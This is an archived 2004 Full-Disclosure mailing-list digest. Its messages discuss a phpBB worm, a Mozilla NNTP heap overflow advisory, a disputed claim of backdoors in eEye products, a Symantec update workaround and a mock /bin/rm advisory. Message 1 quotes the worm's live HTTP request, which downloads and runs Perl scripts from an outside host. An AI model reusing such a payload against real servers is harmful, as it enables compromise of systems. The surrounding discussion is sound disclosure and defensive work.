| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com>
From: steve.dangerfield at syntegra.com (steve.dangerfield@...tegra.com)
Subject: RE: Full-Disclosure Digest, Vol 1, Issue 2144
Please unsubscribe me from this list
-----Original Message-----
From: full-disclosure-request@...ts.netsys.com
[mailto:full-disclosure-request@...ts.netsys.com]
Sent: 30 December 2004 03:26
To: full-disclosure@...ts.netsys.com
Subject: Full-Disclosure Digest, Vol 1, Issue 2144
Send Full-Disclosure mailing list submissions to
full-disclosure@...ts.netsys.com
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.netsys.com/mailman/listinfo/full-disclosure
or, via email, send a message with subject or body 'help' to
full-disclosure-request@...ts.netsys.com
You can reach the person managing the list at
full-disclosure-owner@...ts.netsys.com
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Full-Disclosure digest..."
Today's Topics:
1. Re: Re: new phpBB worm affects 2.0.11 (Paul Laudanski)
2. Re: Again: zone transfers, a spammer's dream? (Jorrit Kronjee)
3. Re: Suspect phpBB users (Ron Brogden)
4. Re: And you're proud of this Mike Evanchick? (Michael Reilly)
5. Heap overflow in Mozilla Browser <= 1.7.3 NNTP code.
(Maurycy Prodeus)
6. Re: And you're proud of this Mike Evanchick? (Ill will)
7. Re: And you're proud of this Mike Evanchick? (Michael Evanchik)
8. Is that your password? (psirt@...co.com)
9. Re: more: Isecom, osstm related: CRG was busted yesterday (Crg)
10. RE: Multiple Backdoors found in eEye Products (IRISand
SecureIIS) (Marc Maiffret)
11. Trivial Bug in Symantec Security Products (J. Oquendo)
12. /bin/rm file access vulnerability (Lennart Hansen)
13. Re: Multiple Backdoors found in eEye Products (IRIS and
Secure (Lance Gusto)
14. Re: /bin/rm file access vulnerability (Sean Harlow)
15. MDKSA-2004:159 - Updated glibc packages fix temporary file
vulnerability (Mandrake Linux Security Team)
----------------------------------------------------------------------
Message: 1
Date: Wed, 29 Dec 2004 12:42:42 -0500 (EST)
From: Paul Laudanski <zx@...tlecops.com>
Subject: Re: [Full-Disclosure] Re: new phpBB worm affects 2.0.11
To: Adam <adam@...ed.org>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Message-ID:
<Pine.LNX.4.44.0412291241030.25738-100000@...sbunny.castlecops.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Here are some samples of what this one does, and some statistics on
300,000 hits in 55 hours:
http://castlecops.com/article-5642-nested-0-0.html
On Sat, 25 Dec 2004, Adam wrote:
> The request for this one (even against a non phpBB scripts) appears to
> look like this:
>
> "GET
>
/?p=comments&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20
crowklan.mine.nu/~pillar/.zk/coll;perl%20coll;wget%20crowklan.mine.nu/~pillar
/.zk/aol;perl%20aol;rm%20-rf%20aol.*;rm%20-rf%20coll*%3B%20%65%63%68%6F%20%5F
%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47
%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
> HTTP/1.1"
--
Regards,
Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.
------------------------------
Message: 2
Date: Wed, 29 Dec 2004 19:49:46 +0100
From: Jorrit Kronjee <full-disclosure@...pam.wafel.org>
Subject: Re: [Full-Disclosure] Again: zone transfers, a spammer's
dream?
To: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Message-ID: <41D2FC4A.60702@...pam.wafel.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Ralf Glauberman wrote:
> Hello all,
> after Lode Vermeiren having published on the 7th of December that many
> tlds are transferable I did further research on this. Much to my
> surprise this wasn't just a problem of little states. i did a complete
> scan on all tlds (http://data.iana.org/TLD/tlds-alpha-by-domain.txt)
> including every soa and ns server. i got results from 141 out of the
> 258 checked tlds. i din't check every single output, but there are not
> more than 10 false-positives within these. while the ca zone is secure
> now, i was really surprised that be (~ 42 MB, ~ 900.000 records) and
> fi (~ 11 MB, ~ 235.000 records) are transferable.
> all in all, i found that the following tlds are transferable (also
> there might be some false-positives):
arpa being one of those false positives (it's hardly exploitable by
spammers anyway).
Although only a few nameservers of the tld allow zone transfers - and
you really have to look for them - it really amazes me that these
nameservers aren't properly configured.
I'm just glad I don't live in any of these countries.
Jorrit
------------------------------
Message: 3
Date: Wed, 29 Dec 2004 10:58:40 -0800
From: Ron Brogden <domains@...andnet.com>
Subject: Re: [Full-Disclosure] Suspect phpBB users
To: full-disclosure@...ts.netsys.com
Message-ID: <200412291058.40811.domains@...andnet.com>
Content-Type: text/plain; charset="iso-8859-1"
On December 25, 2004 15:54, Jack Yan wrote:
> We have since upgraded, but among our new users over the last few days
> have been a Weber361, a Weber395, and a nderevyanko.
This looks like the fallout from a standard run of the mill spam bot. Thep
oint of its actions being to generate as many distinct links back to theu
ser's site as possible so as to increase their search engine placement. T
his is similar to referrer spamming in HTTP logs - just in this case it isa
n automated bot spamming forums instead of some other target. I doubt it is
caused by a worm, more likely one or more machines running dedicated software
(though it is possible this is installed on zombie machines I suppose).
Cheers
------------------------------
Message: 4
Date: Wed, 29 Dec 2004 12:50:57 -0800
From: Michael Reilly <michaelr@...co.com>
Subject: Re: [Full-Disclosure] And you're proud of this Mike
Evanchick?
To: Todd Towles <toddtowles@...okshires.com>
Cc: full-disclosure@...ts.netsys.com
Message-ID: <41D318B1.4070605@...co.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Couldn't help seconding this. I do not understand the purpose of he
original message. I think Norton/Symantec did a good job.
michael
Todd Towles wrote:
> Sounds like you need AV and a bit of network security. If you are scared
> of IRC trojans and detectable viruses..then your time would be better
> spent putting those systems into place. Don't you think?
>
>
> ________________________________
>
> From: full-disclosure-bounces@...ts.netsys.com
> [mailto:full-disclosure-bounces@...ts.netsys.com] On Behalf Of Elle
> Chicka
> Sent: Monday, December 27, 2004 11:16 PM
> To: full-disclosure@...ts.netsys.com
> Subject: [Full-Disclosure] And you're proud of this Mike
> Evanchick?
>
>
> You so proudly posted this:
> ------------------------
>
> http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.ht
> ml
> <https://mail.microsoft.com/exchweb/bin/redir.asp?URL=http://securityres
> ponse.symantec.com/avcenter/venc/data/trojan.phel.a.html>
>
> mike
>
> www.michaelevanchik.com
>
> ------------------------
> Obviously you are just tickled to see that the kiddies were able
> to so quickly turn your point/click sploit code into a virus to wreak
> havoc on my network.
>
> Thanks a lot for helping to make all of us a little less secure
> over the holiday's.
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
--
---- ---- ----
Michael Reilly michaelr@...co.com
Cisco Systems, California
------------------------------
Message: 5
Date: Wed, 29 Dec 2004 22:24:21 +0100 (CET)
From: Maurycy Prodeus <z33d@...c.pl>
Subject: [Full-Disclosure] Heap overflow in Mozilla Browser <= 1.7.3
NNTP code.
To: full-disclosure@...ts.netsys.com
Cc: bugtraq@...urityfocus.com
Message-ID: <Pine.LNX.4.44.0412292222140.19156-200000@...c.pl>
Content-Type: text/plain; charset="us-ascii"
********************************************************************
This email may contain information which is privileged or confidential. If you are not the intended recipient of this email, please notify the sender immediately and delete it without reading, copying, storing, forwarding or disclosing its contents to any other person
Thank you
Check us out at http://www.bt.com/consulting
********************************************************************
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Synopsis: Heap overflow in Mozilla Browser <= 1.7.3 NNTP code.
Product: Mozilla Browser
Version: <= 1.7.3
Vendor: http://www.mozilla.org/
URL: http://isec.pl/vulnerabilities/isec-0020-mozilla.txt
CVE: not assigned
Author: Maurycy Prodeus <z33d@...c.pl>
Date: Dec 29, 2004
Issue:
======
A critical security vulnerability has been found in Mozilla Project code
handling NNTP protocol.
Details:
========
Mozilla browser supports NNTP urls. Remote side is able to trigger news://
connection to any server. I found a flaw in NNTP handling code which may
cause heap overflow and allow remote attacker to execute arbitrary code on
client machine.
Bugus function from nsNNTPProtocol.cpp:
char *MSG_UnEscapeSearchUrl (const char *commandSpecificData)
329 {
330 char *result = (char*) PR_Malloc (PL_strlen(commandSpecificData) +
1);
331 if (result)
332 {
333 char *resultPtr = result;
334 while (1)
335 {
336 char ch = *commandSpecificData++;
337 if (!ch)
338 break;
339 if (ch == '\\')
340 {
341 char scratchBuf[3];
342 scratchBuf[0] = (char) *commandSpecificData++;
343 scratchBuf[1] = (char) *commandSpecificData++;
344 scratchBuf[2] = '\0';
345 int accum = 0;
346 PR_sscanf(scratchBuf, "%X", &accum);
347 *resultPtr++ = (char) accum;
348 }
349 else
350 *resultPtr++ = ch;
351 }
352 *resultPtr = '\0';
353 }
354 return result;
355 }
When commandSpecificData points to last (next is NULL) character which
is '\\' copying loop may omit termination of source char array and overflow
result buffer.
Affected Versions
=================
Mozilla Browser <= 1.7.3 with mozilla-mail
Solution
=========
This bug is fixed in Mozilla 1.7.5. (Bug 264388)
Mozilla developer Dan Veditz claims that it cannot be exploitable:
"A '\' on the end will certainly trash memory, but at that point you're no
longer reading attacker-supplied data;".
On my RedHat 9.0 with Mozilla 1.7.3 attached proof of concept code
overflows the buffer using attacker-supplied data. I decided to make this
bug public because Mozilla Team hasn't warned users.
Exploitation
============
I have attached proof of concept HTML file which causes heap corruption
and crashes Mozilla 1.7.3 browser (with mozilla-mail). News server must be
existing and available.
- --
Maurycy Prodeus
iSEC Security Research
http://isec.pl/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
iD8DBQFB0yCXC+8U3Z5wpu4RAgmGAKDrytVxxUc0vS/9+BZNf+P+lGyoLQCeL5wN
atw5z5/GvBsG9SVKWeGZSbk=
=eTqU
-----END PGP SIGNATURE-----
-------------- next part --------------
An HTML attachment was scrubbed...
URL:
http://lists.netsys.com/pipermail/full-disclosure/attachments/20041229/8cbaf9
f1/nntp_crash-0001.html
------------------------------
Message: 6
Date: Wed, 29 Dec 2004 16:49:59 -0500
From: Ill will <xillwillx@...il.com>
Subject: Re: [Full-Disclosure] And you're proud of this Mike
Evanchick?
Cc: full-disclosure@...ts.netsys.com
Message-ID: <47fe50604122913491c574157@...l.gmail.com>
Content-Type: text/plain; charset=US-ASCII
quitcher bitchin and get to work
On Wed, 29 Dec 2004 08:48:24 -0600, Todd Towles
<toddtowles@...okshires.com> wrote:
>
> Sounds like you need AV and a bit of network security. If you are scared of
> IRC trojans and detectable viruses..then your time would be better spent
> putting those systems into place. Don't you think?
>
>
> ________________________________
> From: full-disclosure-bounces@...ts.netsys.com
> [mailto:full-disclosure-bounces@...ts.netsys.com] On Behalf Of Elle Chicka
> Sent: Monday, December 27, 2004 11:16 PM
> To: full-disclosure@...ts.netsys.com
> Subject: [Full-Disclosure] And you're proud of this Mike Evanchick?
>
>
>
> You so proudly posted this:
> ------------------------
> http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.html
>
> mike
>
> www.michaelevanchik.com
>
> ------------------------
> Obviously you are just tickled to see that the kiddies were able to so
> quickly turn your point/click sploit code into a virus to wreak havoc on my
> network.
>
> Thanks a lot for helping to make all of us a little less secure over the
> holiday's.
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
--
- illwill
http://illmob.org
------------------------------
Message: 7
Date: Wed, 29 Dec 2004 18:02:55 -0500
From: "Michael Evanchik" <Mike@...haelEvanchik.com>
Subject: Re: [Full-Disclosure] And you're proud of this Mike
Evanchick?
To: "Todd Towles" <toddtowles@...okshires.com>, "Elle Chicka"
<c1b3r_chick@...oo.com>, <full-disclosure@...ts.netsys.com>
Message-ID: <01a701c4edfa$88578320$6702a8c0@...nPickel.com>
Content-Type: text/plain; charset="iso-8859-1"
Todd,
Listen, you are so wrong i cant belive you even have the guts to post this.
How stupid can you be? Norton or any AVP can easily be fooled. The active x
object "ca"+n b"+ +e crea" +ted" like this. code changed around , or even
different local code can be used and tada AVP is fooled. Only a true patch
from microsoft or disable the help control in the registry is going to stop
this. Her concern is wise.
Mike
www.michaelevanchik.com
----- Original Message -----
From: Todd Towles
To: Elle Chicka ; full-disclosure@...ts.netsys.com
Sent: Wednesday, December 29, 2004 9:36 AM
Subject: RE: [Full-Disclosure] And you're proud of this Mike Evanchick?
Well, if you have Norton, it couldn't wreak havoc...now could it? Most of
the AV compaines are now detecting the exploit. This detection response is
much faster than most of the other exploits which are wreaking havoc on your
network, so it would sound.
Nice work to Norton.
----------------------------------------------------------------------------
From: full-disclosure-bounces@...ts.netsys.com
[mailto:full-disclosure-bounces@...ts.netsys.com] On Behalf Of Elle Chicka
Sent: Monday, December 27, 2004 11:16 PM
To: full-disclosure@...ts.netsys.com
Subject: [Full-Disclosure] And you're proud of this Mike Evanchick?
You so proudly posted this:
------------------------
http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.html
mike
www.michaelevanchik.com
------------------------
Obviously you are just tickled to see that the kiddies were able to so
quickly turn your point/click sploit code into a virus to wreak havoc on my
network.
Thanks a lot for helping to make all of us a little less secure over the
holiday's.
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL:
http://lists.netsys.com/pipermail/full-disclosure/attachments/20041229/84b847
7d/attachment-0001.htm
------------------------------
Message: 8
Date: Wed, 29 Dec 2004 16:10:53 -0800
From: psirt@...co.com
Subject: [Full-Disclosure] Is that your password?
To: full-disclosure@...ts.netsys.com
Message-ID: <200412300010.iBU0AqvO028393@...ts.netsys.com>
Content-Type: text/plain; charset="windows-1252"
I have attached it to this mail.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: pwd02.txt.scr
Type: application/octet-stream
Size: 29568 bytes
Desc: not available
Url :
http://lists.netsys.com/pipermail/full-disclosure/attachments/20041229/a40429
a2/pwd02.txt-0001.obj
------------------------------
Message: 9
Date: Thu, 30 Dec 2004 01:43:51 +0100
From: "Crg" <crg@...italsec.net>
Subject: Re: [Full-Disclosure] more: Isecom, osstm related: CRG was
busted yesterday
To: full-disclosure@...ts.netsys.com
Message-ID: <006301c4ee08$d2342bc0$0302a8c0@....es>
Content-Type: text/plain; charset="iso-8859-1"
Well, Im not arrested, seems to be just a hoax for 28th of Dec (it's like
1st April in Spain).
Keep the pr0j3kt alive
Best regards & xmas
Pedro Andujar (Crg)
!dSR - Digital Security Research
http://www.digitalsec.net
----------------------------------------------------------------------------
-------------------------
Author: your_momma@...hmail.com
Date: 2004-12-28 02:332004-12-28 01:33 +100UTC
To: full-disclosure
CC:
Subject: [Full-Disclosure] Isecom, osstm related: CRG was busted yesterday
Flame wars are always bad wars. Yesterday one of us was busted by
police and !dsr homes were abused looking for profit incoming about
hacking isecom site.
Crg was busted because of his curiosity, his funny way of
learning. He's not an enemy, he's harmless, had no any weapon, not
like the people that took him when he was going to school. Isecom
can now be happy, another young boy hanged, time to make more cash
with their "hackers high school".
At the moment we only know one being arrested and other two under
search. Names were not especified, and families are being contacted
hardly withouth any kind of mercy because of christmas time.
We're tired of this.. Anger.. War is over.. we're about rolf the
whole planet.
Stop playing with us!
------------------------------
Message: 10
Date: Wed, 29 Dec 2004 17:33:11 -0800
From: "Marc Maiffret" <mmaiffret@...e.com>
Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye
Products (IRISand SecureIIS)
To: "Lance Gusto" <thegusto22@...mail.com>,
<vuln-dev@...urityfocus.com>, <ntbugtraq@...tserv.ntbugtraq.com>,
<bugs@...uritytracker.com>, <full-disclosure@...ts.netsys.com>,
<news-editor@...urityfocus.com>, <press@...-security.org>
Message-ID:
<19F34051C5BB60429ACD1BF01338C598E9A975@...mail01.corp.int-eeye.com>
Content-Type: text/plain; charset="us-ascii"
Hi Lance Gusto,
It is really interesting that someone with such a disdain for my company
would go out of their way to spam out an email about a supposed backdoor
within our products, choose not to contact us ahead of time, and then
provide no real details to prove your claim... Ahhh but wait, you chose
not to provide any details because you're a "good guy". As you said:
"Unfortunately, we can't release the "exploits" publicly due to the
severity of these flaws." Right.
The reason you could not provide any real details about these backdoors
are because there are no backdoors in Iris nor SecureIIS.
While I would not wish to give someone like you the time of day nor 15
minutes of infamy, eEye does take every security claim very seriously.
We have performed an audit of SecureIIS and Iris code to re-verify what
we already knew, that there are no backdoors in either of them.
It is quite possible that you downloaded fake warez versions of our
products from peer-to-peer networks which someone might have put there
to trick people and put backdoors on their systems. However, if such
warez product versions existed they would not be from eEye as we do not
distribute our software on peer-to-peer networks nor recommend people
downloading warez versions from there. Get your warez from a trusted
distributor. ;-) If you would have contacted us we could have saved you
the embarrassment... But then you are sending emails from Hotmail
through a proxy at a university in Germany so I seriously doubt you care
if your persona "Lance Gusto" gets embarrassed on public mailing lists.
These backdoors are as much of a reality as Santa Claus but then you
seem to be childish enough that you probably still believe in the jolly
red man. Maybe next you can follow-up your humors eMail with a spoofed
advisory about a backdoor you found in Rudolph "the red nosed reindeer".
At least then you could promote yourself from being a coward to a
comedian.
Thank you, please drive through.
Signed,
Marc Maiffret
Chief Hacking Officer
eEye Digital Security
T.949.349.9062
F.949.349.9538
http://eEye.com/Blink - End-Point Vulnerability Prevention
http://eEye.com/Retina - Network Security Scanner
http://eEye.com/Iris - Network Traffic Analyzer
http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
Important Notice: This email is confidential, may be legally privileged,
and is for the intended recipient only. Access, disclosure, copying,
distribution, or reliance on any of it by anyone else is prohibited and
may be a criminal offense. Please delete if obtained in error and email
confirmation to the sender. P.S. I'm going to tell you this for your own
benefit, your email was dope as hell especially since you faked 90
percent of it. What you need to do is practice on your freestyle before
you come up missing like triple m's police file.
| -----Original Message-----
| From: full-disclosure-bounces@...ts.netsys.com
| [mailto:full-disclosure-bounces@...ts.netsys.com] On Behalf
| Of Lance Gusto
| Sent: Tuesday, December 28, 2004 8:12 PM
| To: vuln-dev@...urityfocus.com;
| ntbugtraq@...tserv.ntbugtraq.com; bugs@...uritytracker.com;
| full-disclosure@...ts.netsys.com;
| news-editor@...urityfocus.com; press@...-security.org
| Subject: [Full-Disclosure] Multiple Backdoors found in eEye
| Products (IRISand SecureIIS)
|
| Multiple Backdoors found in eEye Products (IRIS and
| SecureIIS) L. Gusto <thegusto22@...mail.com>
|
|
| Summary:
|
| During meticulous testing of both eEye's IRIS and SecureIIS
| products, we (my testing team) have discovered multiple
| backdoors in the latest of both mentioned products and some
| older versions we could acquire.
|
|
| These backdoors are very cleverly hidden (kudos to the
| authors), I personally don't condone illegally backdooring
| commercial products, and personally I don't think much of
| eEye but I must give credit to where credit is due.
|
|
| We have tested IRIS 3.7 and up they all appear to have a backdoor.
| We have verified the IRIS backdoor doesn't exist in versions
| prior to 3.0
|
|
| We have tested SecureIIS 2.0 and up they all appear to have a
| backdoor.
| We have verified that SecureIIS 1.x series does not have this
| specific backdoor.
|
| Bringing the backdoors to light:
|
| After long testing we discovered the exact sequences used to
| active the backdoor. Unfortunately, we can't release the
| "exploits" publically due to the severity of these flaws. But
| incomplete examples will be given.
|
|
|
| The IRIS Backdoor:
|
| This one is quite interesting. We have discovered that
| sending a specifically crafted UDP datagram to a IRIS host
| *directly* (not through the wire or to host on the network
| segment) with certain IP options set and a certain magic
| value at a undisclosed offset in the payload will bind a
| shell to the source port specified in the UDP datagram.
|
| [snip]
|
|
| The SecureIIS Backdoor:
|
| The SecureIIS backdoor was alot easier to discover but very
| well placed. The SecureIIS backdoor is triggered by a
| specifically crafted HTTP HEAD request. Here is a incomplete
| layout of how to exploit this:
|
|
| HEAD /<24 byte constant string>/PORT_ADDRESS.ASP HTTP/1.1
|
| PORT - Will be the port to bind a shell.
| ADDRESS - Address for priority binding (0 - For any).
|
|
| [snip]
|
|
|
| Local Deduction:
|
| There are a two possiblilites here, either eEye's code has
| been altered by some attacker or this has been sanctioned by
| the company (or at least the developers were fully aware of this).
|
|
|
| Conclusion:
|
| It is very very shameful that a somewhat reputable like eEye
| is acting in a very childish, unprofessional manner. I figure
| that is why the code is closed source. There are several
| active exploits available that I (the author of this
| advisory) didn't create floating around. The only logical
| solution will be to not use the mentioned eEye products for
| the time being or at least downgrade to the non-backdoored versions.
|
| We will be investigation eEye's Blink Product for any
| clandestine backdoors.
|
| _________________________________________________________________
| FREE pop-up blocking with the new MSN Toolbar - get it now!
| http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/
|
| _______________________________________________
| Full-Disclosure - We believe in it.
| Charter: http://lists.netsys.com/full-disclosure-charter.html
|
------------------------------
Message: 11
Date: Wed, 29 Dec 2004 17:56:28 -0500 (EST)
From: "J. Oquendo" <sil@...iltrated.net>
Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products
To: full-disclosure@...ts.netsys.com
Message-ID: <Pine.GSO.4.58.0412291754080.9648@...gfunix.net>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Impact: Bug in Symantec products allows for free software updates
Version(s):
Norton AntiVirus for Windows 9x/NT/Me/2000/XP
Symantec Web Security
Symantec AntiVirus Scan Engine
Norton AntiVirus for Gateways
Symantec AntiVirus for Gateways
Norton AntiVirus Corporate Edition
Symantec AntiVirus Corporate Edition
Norton AntiVirus for Exchange
I. BACKGROUND
Symantec whose stock price of $27.38 at market close on December 15, 2004,
valuing the company at approximately $13.5 billion (according to their
home page) has a simple little glitch in the above mentioned products,
which would allow any user who has an expired product to automatically
continue updating without purchasing the software after the program has
expired. Vendor notified on 12/06/2004
II. DESCRIPTION
Any user with an expired copy of the versions listed above can continue to
receive updates at no extra cost. While not a true to form "bug", the
silly workaround can hinder Symantec's future market valuations if users
simply allowed their products to expire, downloaded any "Intelligent
Updater" definitions via
http://securityresponse.symantec.com/avcenter/defs.download.html and
installed them with the clock turned back to a pre-expiration date.
Somehow, Symantec engineers have not implemented a mechanism to disallow a
user from installing the patches via changing the date on their computer
back to when the original program was installed and then running the
"Intelligent Updater." E.g.: User installs a 60 day trial version with
free updates that expires on Jan, 01, 2005. User goes to install an update
in July 2005 and gets a subscription error. User changes the date back to
some time before the product expired and installs the new definition
without problems. User changes date back forward without problems.
While not of the "Bugtraq" typical bug, Symantec engineers should try to
resolve this to avoid any future revenue loss.
III SOLUTION
Symantec could rewrite their updates to include a timer, or check via
atomic clock. Other options include informing their customers not to
commit the evil act of modifying the dates on their computers.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99
CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D
sil @ politrix . org http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net
"How can we account for our present situation unless we
believe that men high in this government are concerting
to deliver us to disaster?" Joseph McCarthy "America's
Retreat from Victory"
------------------------------
Message: 12
Date: Wed, 29 Dec 2004 20:18:25 -0500
From: "Lennart Hansen" <xenzeo@...dener.com>
Subject: [Full-Disclosure] /bin/rm file access vulnerability
To: full-disclosure@...ts.netsys.com
Message-ID: <20041230011825.21A116EEF6@...-5.us4.outblaze.com>
Content-Type: text/plain; charset="iso-8859-1"
/bin/rm file access vulnerability
Affected Products:
/bin/rm (all versions, tested on FreeBSD and linux)
(http://www.freebsd.org http://www.kernel.org)
Author:
Xenzeo (Ablazed, Ultralaser, Lennart A. Hansen)
xenzeo at blackhat dot dk
/bin/rm is a program that removes the named file arguments on unix systems.
When /bin/rm is called it checks the file's permissions and the id of the
user
trying to remove the file. If the user does not have the required permissions
to delete the file, /bin/rm will simply reject and exit.
However, it is possible for a person with admin rights (root) to
delete _any_ file
on the system regardless of who has created it and what it's permissions are.
Proof of concepts:
$ touch /home/xenzeo/file
$ ls -l /home/xenzeo/file
-rw-r--r-- 1 xenzeo none 0 Dec 30 2004 /home/xenzeo/file
$ id
uid=1000(xenzeo) gid=513(none) groups=513(none),545(users)
$ su -c 'rm -f /home/xenzeo/file'
$ ls -l /home/xenzeo/file
ls: file: No such file or directory
#!/usr/bin/perl
if ($#ARGV != 0) {
die "usage: rm-exploit.pl file\r\n";
} else {
$file = $ARGV[0];
print "*** CMD: [ /bin/rm -f $file ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
if ($> == 0) {
print "[-] EXECUTING CMD\r\n";
system("/bin/rm -f $file");
print "[-] DONE\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit();
} else {
print "[-] EXPLOIT FAILED\r\n";
print "[-] YOU ARE NOT ROOT\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}
}
Vender status:
Neither FreeBSD nor Linux developers have been contacted yet!
-Xenzeo
--
___________________________________________________________
Sign-up for Ads Free at Mail.com
http://promo.mail.com/adsfreejump.htm
------------------------------
Message: 13
Date: Wed, 29 Dec 2004 21:03:02 +0000
From: "Lance Gusto" <thegusto22@...mail.com>
Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye
Products (IRIS and Secure
To: dave@...unitysec.com, full-disclosure@...ts.netsys.com
Message-ID: <BAY2-F347D60BC3A6AB7882C2046CC9B0@....gbl>
Content-Type: text/plain; format=flowed
Hey Dave,
I cannot disclosed much information (based on request/threats made by
certain organizations
whom may be involved) I am sure you can understand.
But we have tested Iris versions 3.0 and up ... As I previously stated itd
oesn't appear to
exist in the 2.x series of Iris.
I am not the main tester involved here, but I was told that there is somes
ort of clandestine
chaining mechanism to create the processes I believe. I will provide the
"lists" I have sent this
too with more information as soon as some of the other testers involved come
back from their
respective holiday breaks.
>From: Dave Aitel <dave@...unitysec.com>
>To: Lance Gusto <thegusto22@...mail.com>
>Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye Products>
(IRIS and SecureIIS)
>Date: Wed, 29 Dec 2004 11:29:55 -0500
>
>
>>
>>
>>The SecureIIS Backdoor:
>>
>>The SecureIIS backdoor was alot easier to discover but very well
>>placed. The SecureIIS backdoor is triggered by a specifically
>>crafted HTTP HEAD request. Here is a incomplete layout of how
>>to exploit this:
>>
>
>Which version did you test? I'm not seeing it, or any intermodular calls to
>CreateProcess in the DLL that it loads up.
>
>-dave
>
>
>>
>>HEAD /<24 byte constant string>/PORT_ADDRESS.ASP HTTP/1.1
>>
>>PORT - Will be the port to bind a shell.
>>ADDRESS - Address for priority binding (0 - For any).
>>
>>
>>[snip]
>>
>>
>>
>>Local Deduction:
>>
>>There are a two possiblilites here, either eEye's code has been
>>altered by some attacker or this has been sanctioned by the
>>company (or at least the developers were fully aware of this).
>>
>>
>>
>>Conclusion:
>>
>>It is very very shameful that a somewhat reputable like eEye is acting
>>in a very childish, unprofessional manner. I figure that is why the
>>code is closed source. There are several active exploits available that I
>>(the author of this advisory) didn't create floating around. The only
>>logical solution will be to not use the mentioned eEye products for the
>>time being or at least downgrade to the non-backdoored versions.
>>
>>We will be investigation eEye's Blink Product for any clandestine
>>backdoors.
>>
>>_________________________________________________________________
>>FREE pop-up blocking with the new MSN Toolbar - get it now!
>>http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
_________________________________________________________________
Don't just search. Find. Check out the new MSN Search!
http://search.msn.click-url.com/go/onm00200636ave/direct/01/
------------------------------
Message: 14
Date: Wed, 29 Dec 2004 21:17:12 -0500
From: Sean Harlow <sharlow@...et.UToledo.Edu>
Subject: Re: [Full-Disclosure] /bin/rm file access vulnerability
To: full-disclosure@...ts.netsys.com
Message-ID: <41D36528.1070308@...et.utoledo.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Is this a joke?
root can delete any file...isn't that the point of being root? the fact
that you can do anything with the system, regardless of permissions?
-Sean
Lennart Hansen wrote:
> /bin/rm file access vulnerability
>
> Affected Products:
> /bin/rm (all versions, tested on FreeBSD and linux)
> (http://www.freebsd.org http://www.kernel.org)
>
> Author:
> Xenzeo (Ablazed, Ultralaser, Lennart A. Hansen)
> xenzeo at blackhat dot dk
>
>
> /bin/rm is a program that removes the named file arguments on unix systems.
> When /bin/rm is called it checks the file's permissions and the id of the
user
> trying to remove the file. If the user does not have the required
permissions
> to delete the file, /bin/rm will simply reject and exit.
>
> However, it is possible for a person with admin rights (root) to
> delete _any_ file
> on the system regardless of who has created it and what it's permissions
are.
>
> Proof of concepts:
> $ touch /home/xenzeo/file
> $ ls -l /home/xenzeo/file
> -rw-r--r-- 1 xenzeo none 0 Dec 30 2004 /home/xenzeo/file
> $ id
> uid=1000(xenzeo) gid=513(none) groups=513(none),545(users)
> $ su -c 'rm -f /home/xenzeo/file'
> $ ls -l /home/xenzeo/file
> ls: file: No such file or directory
>
> #!/usr/bin/perl
> if ($#ARGV != 0) {
> die "usage: rm-exploit.pl file\r\n";
> } else {
